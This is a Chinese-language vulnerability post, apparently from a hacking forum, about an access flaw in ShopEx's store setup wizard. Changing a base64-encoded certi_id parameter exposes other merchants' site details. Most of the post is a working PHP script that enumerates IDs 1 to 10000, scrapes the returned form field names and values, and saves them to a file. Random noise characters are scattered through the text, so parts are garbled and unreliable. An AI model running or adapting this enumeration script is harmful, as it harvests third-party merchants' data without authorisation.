ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
; d2 m. {2 B- z' |/ y. ?" G; S% fShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
% n9 q- [1 @0 Y" |

$ V% e! z, ?0 s- D6 F
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
9 Z6 ^: }( o/ P/ r

. r. b( M( I) _( y
( U" t& Y) G) ?+ o$ t$ Arefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


. `* W% a; R" a. b. ^/ k* e
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

( l8 \+ F1 X- K

<?php

                for ($i=1; $i < 10000; $i++) { //遍历
$ A) Y5 u; F& L
                        ShowshopExD($i);

  J0 h6 ]  R0 a                }

4 M0 d! F5 }3 t; ?1 L! u                function ShowshopExD($cid) {
  z  v+ ?- K0 K
0 W0 R9 U6 a" h                $url='http://guide.ecos.shopex.cn/step2.php';

: Q( i2 ]% M0 J; _3 r8 B                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
4 P) U  d" |) l  p" ?
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

0 X) ]3 O/ S, ]) G4 t) w: Y        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( x* y' n- m2 M5 u7 J# H& y3 P
, c8 [1 C/ G) R  o! D        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- O. J+ D/ e9 Y% R. F
# v0 J; w7 A  Y- L: ^2 F0 |% b        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 z: t3 h# B8 m2 n2 d0 ~
' A# g! i+ `' e" P        if(strpos($result,$refer))

$ C* I, F3 k5 b4 q$ w" p( t" }        {
* h1 L+ Y% M* N+ Q- u& i
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
. f- }" ]  @" ^5 h& h
# w+ F' K* h: X5 `                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 [; v1 w7 `; S" x
& ~1 K- F# h# b7 l, `                        echo $res[1][0].':'.$res[3][0]."\r\n";
. N# }. @0 o; p1 l! T7 L
7 B6 h' u) h, F/ }* `9 E                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, G5 e; k" v, D' f
                        fwrite($fp, $col, strlen($col));

0 z  q1 i7 `4 a                }

+ N) Z0 z& V3 _3 ~% b" }0 J                echo '--------------------------------'."\r\n";

                fclose($fp);
* {* o4 N, v/ ]/ I- _) j  S
        }

2 |4 P: Q: p5 x1 ^3 y- E' F; X2 l$ |        flush();

        curl_close($ch);

3 x" z$ ~5 Q/ R8 |/ {                }

$ V1 g5 E& V: [, ^?>
( E8 o# T* {5 r% w. w漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
9 @0 u1 }) n; D